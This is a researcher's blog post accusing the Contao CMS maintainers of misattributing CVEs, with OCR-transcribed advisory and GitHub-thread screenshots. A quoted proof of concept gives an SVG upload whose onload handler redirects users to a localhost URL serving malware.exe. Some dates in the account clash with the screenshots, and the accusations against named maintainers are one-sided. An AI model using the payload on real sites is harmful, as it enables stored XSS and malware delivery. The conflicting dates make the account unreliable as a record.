CONTAO'S CVE FRAUD

Contao's CVE fraud & fake bug bounty program

Abstract Contao's shady bug bounty program and self-assigned CVE factory.

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Table of Contents

Overview	2
Defining "CVE Fraud"	2
Contao's CVE attribution patterns	2
May 9 th , the submission and the rejection	4
XSS via SVG file upload	4
Tracing the original discovery	6
Contao's explanation: a convenient deflection	7
A double standard in disclosure	9
Community Standards vs. Contao Practices	11
Optics over ethics	11
Conclusion	11

Overview

This document examines Contao's vulnerability attribution practices on GitHub, specifically surrounding CVE disclosures. Contao is a German software company, known primarily for its open-source CMS, Contao CMS. The following analysis outlines irregularities that challenge the integrity and transparency of their security advisory process.

Official repository: https://github.com/contao/contao

Defining "CVE Fraud"

The term *CVE fraud* is not formally recognized — yet. But as the vulnerability disclosure ecosystem matures, the need to identify patterns of ethical manipulation becomes more urgent. CVE fraud, in this context, refers to the misattribution or deliberate misrepresentation of vulnerability discoveries, including:

- Assigning CVEs to bugs discovered internally while rejecting or ignoring prior public disclosures.
- Duplicating vulnerability reports and reattributing them under new identifiers.
- Failing to credit original researchers in order to centralize recognition within a project.

This isn't a technical failure. It's a governance and ethical breakdown.

Contao's CVE attribution patterns

A review of Contao's security advisories on GitHub reveals a striking pattern: a disproportionate number of vulnerabilities are attributed to a single maintainer — **@leofeyer**, who is both a contributor and gatekeeper.

Reference:

GitHub Commits by leofeyer

Screenshot:

leofeyer committed on Mar 5 · ★ 3 / 4		LUJIICL	5	~
Update the changelog and the language files leofeyer committed on Mar 5 · < 4/4 			Q	
Handle array values in the form_session_data insert tag (see #8167) □□ ((Verified)		Q	$\langle \rangle$
Check the default table options in the RememberMettigration (see #8165)	(Verified)	bdaf8a4	Q	<>
Do not make the front end link 100% wide leofeyer committed on Mar 5 · ✓ 4/4		c2edccc	Q	$\langle \rangle$
Commits on Mar 4, 2025				
Merge remote-tracking branch 'origin/5.5' into 5.x 🚥 Refeyer committed on Mar 4 · × 20/22			Q	$\langle \rangle$
Update the changelog and the language files files Update the changelog and the language files Update the changelog and the language files		3e5486e	Q	$\langle \rangle$
Update and run the tools (see #8170)	Verified		Q	$\langle \rangle$
Merge remote-tracking branch 'origin/5.3' into 5.5 ∞		049c3e4	Q	$\langle \rangle$
Update the changelog and the language files files Update the changelog and the language files			Q	$\langle \rangle$
Update and run the tools (see #8168)	Verified	5b4d4ce	Q	$\langle \rangle$
Ignore tokens from Contao 4 in the RememberMeMigration (see #8159) ^{com}	(Verified)		Q	\diamond
Commits on Mar 3, 2025				
Add the data attribute in the DCA configuration so it is available for all callbacks		74dbfa6	Q	$\langle \rangle$

Finding and reporting vulnerabilities in your own codebase is commendable. But when:

- Every CVE points to the same insider,
- External contributors are dismissed,
- And vulnerabilities are re-filed internally after public disclosure...

... it becomes clear the process is more about control than collaboration.

Screenshot of Contao's Security Advisories Listing

① Cross-site scripting through SVG uploads GHSA-vqqr-fgmh-f626 published on Mar 18 by leofeyer	(Moderate)
Directory traversal in the FileSelector widget GHSA-4p75-5p53-65m9 published on Sep 17, 2024 by leofeyer	(Moderate)
③ Remote command execution through file uploads GHSA-vmf6r-j788-hjh5 published on Sep 17, 2024 by leofeyer	High
Insert tag injection via canonical URLs GHSA-2xpq-xp6c-5mgj published on Sep 17, 2024 by leofeyer	(Moderate)
③ Session cookie disclosure in the crawler GHSA-9jh5-qf84-x6pr published on Apr 9, 2024 by leofeyer	(Moderate)
O Cross-site scripting in the file manager GHSA-v24p-7p4j-qv/f published on Apr 9, 2024 by leofeyer	(Moderate)
Insert tag injection via the form generator GHSA-747v-52c4-8vj8 published on Apr 9, 2024 by leofeyer	Low
⑦ Cross-site scripting in widgets with units GHSA-4gpr-p634-922x published on Jul 25, 2023 by leofeyer	(Moderate)
Directory traversal in the file manager GHSA-fp7q-xhhw-6rj3 published on Apr 25, 2023 by leofeyer	(Moderate)
Remember-me tokens are not cleared after a password change GHSA-r4r6-j2j3-7pp5 published on Apr 9, 2024 by leofeyer	(Moderate)

There are over 20 CVEs here that are all credited to one person, leofeyer, the project's maintainer.

May 9th, the submission and the rejection

On May 9th, 2025, I submitted three separate vulnerabilities to Contao. All were rejected. One in particular — a vulnerability involving **XSS via SVG file upload** — was tagged as duplicate. The advisory provided as justification pointed to a pre-existing CVE: **CVE-2024-45965**, originally submitted by a third party.



XSS via SVG file upload

GitHub thread showing submission, ausi's response, and claim of duplication:

XSS via SVG file upload

Closed (Moderate) 0xHamy opened GHSA-4x74-g3xg-qq3j on Mar 9 · 9 comment
--

Package	Affected versions	Patched versions
No package listed	5.2.2	None

0xHamy opened on Mar 9

Description

Summary

In Contao version 5.2.2, a cross-site scripting (XSS) vulnerability exists due to insufficient filtering of SVG file uploads. Any backend user with file upload permissions can upload an SVG file containing embedded malicious JavaScript, which executes when the file is accessed. This allows attackers to force unauthorized downloads of malicious files (e.g., malware) onto users' computers, posing a significant security risk to all users who interact with the affected system.

Details

Contao 5.2.2 does not implement adequate sanitization or filtering for SVG files uploaded via the backend file management interface. SVG files support embedded JavaScript through attributes like onload, which can be exploited to execute arbitrary code in the context of the victim's browser. In this case, the vulnerability allows malicious JavaScript to redirect users to a URL hosting malware (e.g., http://127.0.0.1:8000/malware.exe), triggering an automatic download. While direct access to document.cookie is not possible due to typical XSS limitations in this context, the ability to deliver malware significantly amplifies the severity of the issue. The lack of input validation or restrictions on SVG content is the root cause, and the issue is reproducible in the default configuration of Contao 5.2.2.

PoC

To reproduce this vulnerability, follow these steps:

1. Log in to Contao 5.2.2 as a backend user with file upload permissions.

2. Navigate to the file management interface at /contao?do=files .

Click the "Expand all" button to reveal all file directories. Directories where uploads are permitted will display a green + symbol.
 Click the + symbol to upload a file and create an SVG file with the following content:

<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200" onload="window.location.href='http://127.0.0.1:8000 [] ar</pre>

	🚳 OxHamy (Author)	Remo
8 (a) added themselves as a collaborator on Mar 9	Publishers	
♥ ⊛ 0xHamy was credited as a reporter on Mar 9	Only the following users and teams can publ advisory:	ish this
	contao owners	
2 🔞 0xHamy accepted credit on Mar 9	Decline credit	
ausi commented on Mar 9	(Member) ···	
This seems to be a duplicate of <u>GHSA-mrw8-5368-phm3</u>		
9		
0xHamy commented on Mar 9	Author) ···	
@ausi This vulnerability will be submitted to MITRE for CVE assignment after 7 days, on or after Marc publicized after 90 days, on or after June 9, 2025. If a CVE is assigned or a patch is released prior to Ju will occur earlier.	ch 17, 2025. It will be fully June 9, 2025, public disclosure	
ව 🌍 ausi closed this on Mar 10		
ausi commented on Mar 10 • edited 👻	Member) ···	
Why is it not fixed in the new version?		
The advisory was published without our knowledge and a fix has not been implemented/released yet	et.	
This vulnerability will be submitted to MITRE for CVE assignment after 7 days		
There is already an existing CVE number (CVE-2024-45965) Why would you create another one?		

Edit advisory

Network

Required

hanged <u>No</u>ne

Hiah

None

Low

Low

Severity Moderate 5.7 / 10 CVSS v3 base metrics

> Attack vector Attack complexity

Privileges required

User interaction

Confidentiality

Scope

Integrity

CVE ID

Weaknesses

Credits

👩 0xHamy

Collaborators

🥑 contao owners

Only the following users and teams can see and collaborate on this advisory:

Availability

Learn more about base metrics CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:U/C:N/I:H/A:N

ausi	i commented on Mar 10 • edited 👻				Member	
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Tracing the original discovery

CVE-2024-45965 was disclosed on **September 5, 2024**, by a Thai security research team known as **Grim The Reaper (SOSECURE Thailand)**. Their write-up was public and clearly detailed the vulnerability in Contao CMS.

- Original write-up: Medium article link
- CVE link: NVD listing

Despite this, Contao later submitted a **new advisory** — for the same issue — under a different CVE: https://github.com/advisories/GHSA-mrw8-5368-phm3

This new CVE is **credited solely to @leofeyer**, with **no mention** of either Grim The Reaper's original disclosure or my resubmission.

Screenshot of the original vulnerability submission by **Grim The Reaper**:

uplicate Advisory: Contao allow w severity (GitHub Reviewed) Published on Oct 2, 20	vs admin an account to upl 24 to the GitHub Advisory Database • Update	oad SVG file containing mal	icious JavaScript	
Withdrawn This advisory was withdrawn on Apr 22,	2025			
Inerability details Dependabot alerts 0				
ackage	Affected versions	Patched versions	Severity	
🏘 contao/contao (Composer)	<= 5.4.1	None	Low 1.8 / 10	
Pescription Duplicate Advisory			CVSS v4 base metrics Exploitability Metrics Attack Vector Attack Complexity Attack Requirements	Netwo La No
This advisory has been withdrawn because it is a di Original Description	uplicate of <u>GHSA-vqqr-fgmh-f626</u> . This link is	maintained to preserve external references.	Privileges Required User interaction Vulnerable System Impact Metrics	Hi
Contao 5.4.1 allows an authenticated admin accour file is accessed through the website, it could lead to the target.	nt to upload a SVG file containing malicious ji o a Cross-Site Scripting (XSS) attack or execut	avascript code into the target system. If the te arbitrary code via a crafted javascript to	Confidentiality Integrity Availability	Noi Noi Noi
References			Confidentiality	Lo
https://pvd.nist.gov/vulp/detail/CVE-2024-459			Integrity	Lo
 https://grimthereaperteam.medium.com/cont. 	 ao-5-4-1-malicious-file-upload-xss-in-svg-30	edb8820ecb	Availability	Nor
https://contao.org/en/security-advisories/cros	s-site-scripting-through-svg-uploads		Learn more about base metrics	
Published by the National Videorability Database	n O-+ 2, 2024		CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:A/VC SC:L/SI:L/SA:N/E:P	C:N/VI:N/\

Contao's explanation: a convenient deflection

When asked why they re-reported a public vulnerability under their own name, Leofeyer from Contao offered the following justification:

"Unfortunately, the report <u>CVE-2024-45965</u> targeted the wrong package and was not disclosed responsibly, so we decided to request a new CVE number to avoid confusion. I can assure you that we don't normally do this.."

Here are some screenshots of our discussion:

	OxHamy commented 2 days ago Author ····
	I just posted about you guys and your shady bug bounty program: https://hkohi.ca/blog/5
	I will try my best to get your program reviewed by Github.
()	zoglo commented 2 days ago • edited +
	Hello @0xHamy, you weren't the first one reporting this bug as something similar has been reported prior to you but in the mono repo, slightly different and not the affected bundle.
	This advisory has been changed due to convenience reasons as a duplicate as it would still appear when installing the mono repo via e.g. composer. You can read more about the discussion here: <u>github/advisory-database#5476</u>
	Instead of waiting for a reply from our side, you already started writing a full blog post within your two messages (that weren't even an hour apart), already including screenshots of a closed source discussion and publishing it, something I would not deem professional.
	OxHamy commented 2 days ago Author ···
	<u>@zoglo</u>
	Our definitions of "professionalism" clearly diverge.
	I don't consider rejecting valid reports and later re-reporting the same vulnerability under your own name or assigning CVEs to bugs planted and discovered by insiders to be remotely professional either.
	That blog post will remain up. It's there to protect independent security researchers from wasting their time on a program that appears, at best, disorganized and at worst, exploitative. If you truly respected this community, you would welcome scrutiny, not deflect it.

	zoglo commented 2 days ago	Member ···
	Our definitions of "professionalism" clearly diverge. I don't consider rejecting valid reports and later re-reporting the same vulnerability under your own name or assi bugs planted and discovered by insiders to be remotely professional either.	gning CVEs to
	They do diverge in terms of patience. Instead of waiting for an answer, you already released a full blog, feels like you beforehand.	u had it written
	That blog post will remain up. It's there to protect independent security researchers from wasting their time on a appears, at best, disorganized and at worst, exploitative.	program that
	It is fine to blog about problems you've encountered when reporting security issues, it just doesn't feel like you are regard and maybe you should be could have provided feedback instead	supportive in that
	Your blog post reads more like a rant and an attack against the mentioned people with assumptions rather than bei post.	ng an informative
\sim		
	leofeyer commented 2 days ago • edited 👻	(Member) ···
	@0xHamy There seems to be a misunderstanding here because the vulnerability has been reported multiple times.	
	@0xHamy There seems to be a misunderstanding here because the vulnerability has been reported multiple times. At the time you submitted your report (March 9, 2025), the vulnerability had already been publicly known for six mo disclosure was on September 5, 2024, under the ID <u>CVE-2024-45965</u> :	onths. The first
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	 @0xHamy There seems to be a misunderstanding here because the vulnerability has been reported multiple times. At the time you submitted your report (March 9, 2025), the vulnerability had already been publicly known for six modisclosure was on September 5, 2024, under the ID <u>CVE-2024-45965</u>: <u>https://grimthereaperteam.medium.com/contao-5-4-1-malicious-file-upload-xss-in-svg-30edb8820ecb</u> <u>https://nvd.nist.gov/vuln/detail/CVE-2024-45965</u> <u>@ausi told you right away</u> that your report is a duplicate. 	onths. The first
	 @0xHamy There seems to be a misunderstanding here because the vulnerability has been reported multiple times. At the time you submitted your report (March 9, 2025), the vulnerability had already been publicly known for six modisclosure was on September 5, 2024, under the ID <u>CVE-2024-45965</u>: <u>https://grimthereaperteam.medium.com/contao-5-4-1-malicious-file-upload-xss-in-svg-30edb8820ecb</u> <u>https://nvd.nist.gov/vuln/detail/CVE-2024-45965</u> @ausi told you right away that your report is a duplicate. Unfortunately, the report <u>CVE-2024-45965</u> targeted the wrong package and was not disclosed responsibly, so we dea new CVE number to avoid confusion. I can assure you that we don't normally do this. 	onths. The first ecided to request
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Let's examine this carefully:

- "Wrong package" is vague. The vulnerability still affected **Contao** and posed a real threat.
- "Not disclosed responsibly" is subjective and irrelevant to crediting technical discovery.
- "Avoid confusion" is not a license to claim sole authorship on a public, timestamped finding.

Even more troubling is that my report, which **did** target the correct repository, was also rejected. <u>Yet the</u> exact same vulnerability was later attributed to an insider (leofeyer).

A double standard in disclosure

Here is a summary of what occurred:

Reporter	Disclosure Date	Package Targeted	Response from Contao	CVE Assigned
Grim The Reaper	Sep 5, 2024	Contao (imprecise)	lgnored	CVE-2024-45965
Me (0xHamy)	May 9, 2025	Correct repo	Rejected as duplicate	None
Leo Feyer	Post-May 9, 2025	Same repo	Accepted	GHSA-mrw8-5368- phm3

If my submission was invalid due to duplication, then so was Feyer's — unless the goal was never accuracy, but control.

Screenshot showing leofeyer's submission:

Cross-site scripting throug	gh SVG uploads Mar 18			
Package	Affected versions	Patched versions	Severity	
php contao/core-bundle (Composer)	>=4.0.0	4.13.54, 5.3.30, 5.5.6	Moderate 4.8 / 10	
Description			CVSS v4 base metrics Exploitability Metrics	
Impact			Attack Vector	Low
			Attack Requirements	None
Users can upload SVG files with malicious code, which	is then executed in the back end and/o	r front end.	Privileges Required	Low
Patches			User interaction	Active
Update to Contao 4.13.54, 5.3.30 or 5.5.6.			Vulnerable System Impact Me	trics
			Confidentiality	None
Workarounds			Integrity	None
Remove svg, svgz from the allowed upload file types	in the system settings and from contao	.editable_files in the config.yaml.	Availability	None
	, ,		Subsequent System Impact Me	etrics
References			Integrity	Low
https://contao.org/en/security-advisories/cross-site-se	cripting-through-svg-uploads		Availability	None
			Learn more about base metric	
For more information			CVSS:4.0/AV:N/AC:1/AT:N/PR:1/UI	
If you have any questions or comments about this adv	risory, open an issue in <u>contao/contao</u> .		/SC:L/SI:L/SA:N	
			CVE ID CVE-2025-29790	
			► CWE-79	

Community Standards vs. Contao Practices

In better-governed ecosystems, such as Apache, where I've reported previously, multiple researchers are often credited for similar or concurrent discoveries. Transparency is prioritized over ego.

Contao's approach runs in stark contrast:

- No dual attribution
- No cross-referencing
- No acknowledgement of prior art

This reflects a broader issue: a lack of transparency in CVE attribution that erodes trust in GitHub's advisory system.

Optics over ethics

Rather than engage with the factual dispute, Contao's maintainers quickly pivoted to critique **tone**, **timing**, and **perceived professionalism**.

This is a classic deflection strategy:

Ignore the evidence. Police the messenger.

It reveals a troubling mindset, one where being publicly exposed is seen as a bigger problem than violating disclosure ethics.

Conclusion

Security advisories are meant to protect users, not inflate internal contributor profiles. A project that routinely:

- Rejects outside reports
- Duplicates public disclosures
- Assigns CVEs to insiders
- Fails to acknowledge prior discoveries

... is abusing the disclosure process and undermining the very system it claims to support.

This isn't just a failure in procedure, it's a failure of **ethics** in the open-source.